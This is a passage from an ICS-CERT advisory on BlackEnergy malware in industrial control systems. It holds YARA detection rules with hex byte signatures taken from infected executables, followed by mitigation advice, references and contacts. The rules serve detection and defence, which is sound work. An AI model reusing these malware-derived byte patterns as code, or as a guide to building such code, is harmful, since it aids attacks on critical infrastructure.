44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}

condition:

(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (((any of ($a*)) and (uint32(uint32(0x3C)+8) == 0x00000000)) or (for any of ($b*): ($ in (uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))..(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))+uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+16)))))))

}

rule ICS_ALERT_14_281_01AP_BlackEnergy_USBInfected

//ICS-CERT rule to detect .exe's infected by BlackEnergy JN plug-in

{

strings:

```
        $f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4 33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B
DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D 3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50 68 00 00 00 40
53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9 7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF 57 18}

        $f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08 2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00
8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8 89 45 F8 8B 4D EC 83 C1 08 89 4D FC}

        $f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF 66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66
8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00 F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68 65 6C 54 FF 57}

        $a1 = {83 EC 04 60 E9 1E 01 00 00}

    condition:

        $a1 at entrypoint or any of ($f*)

}
```

MITIGATIONS

ICS-CERT has published a TLP Amber version of this alert containing additional information about the malware, plug-ins, and indicators to the secure portal. ICS-CERT strongly encourages asset owners and operators to use these indicators to look for signs of compromise within their control systems environments. Asset owners and operators can request access to this information by emailing ics-cert@dhs.gov.

Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.

ICS-CERT strongly encourages taking immediate defensive action to secure ICS systems using defense-in-depth principles.[g] Asset owners should not assume that their control systems are deployed securely or that they are not operating with an Internet accessible configuration. Instead, asset owners should thoroughly audit their networks for Internet facing devices, weak authentication methods, and component vulnerabilities. Control systems often have Internet accessible devices installed without the owner's knowledge, putting those systems at increased risk of attack.

ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation due to this unsecure device configuration of these vulnerabilities. Specifically, users should:

- Minimize network exposure for all control system devices. Control system devices should not directly face the Internet.
- Locate control system networks and devices behind firewalls, and isolate them from the business network.
- If remote access is required, employ secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected devices.
- Remove, disable, or rename any default system accounts wherever possible.
- Apply patches in the ICS environment, when possible to mitigate known vulnerabilities.
- Implement policies requiring the use of strong passwords.
- Monitor the creation of administrator level accounts by third-party vendors.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to taking defensive measures.

ICS-CERT also provides a recommended practices section for control systems on the ICS-CERT web site (http://ics-cert.us-cert.gov). Several recommended practices are available for reading or download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Organizations that observe any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

---

a. ICS-CERT encourages US asset owners and operators to join the control systems compartment of the US-CERT secure portal. To request access to the secure portal send your name, email address, and company affiliation to ics-cert@hq.dhs.gov.

b. Sandworm to Blacken: The SCADA Connection, http://blog.trendmicro.com/trendlabs-security-intelligence/sandworm-to-b... web site last accessed October 28, 2014.

c. Sandworm Team – Targeting SCADA Systems, http://www.isightpartners.com/tag/sandworm-team/ web site last accessed October 28, 2014.

d. NVD, http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4114, web site last accessed October 28, 2014.

e. GE Intelligent Platforms, http://support.ge-ip.com/support/index?page=kbchannel. web site last accessed October 28, 2014.

f. GE, http://www.ge.com/security web site last accessed October 28, 2014.

g. CSSP Recommended Practices, https://ics-cert.us-cert.gov/Recommended-Practices, web site last accessed October 28, 2014.

Contact Information

For any questions related to this report, please contact ICS-CERT at:

Email: ics-cert@hq.dhs.gov
Toll Free: 1-877-776-7585
International Callers: (208) 526-0900

For industrial control systems security information and incident reporting: http://ics-cert.us-cert.gov

ICS-CERT continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.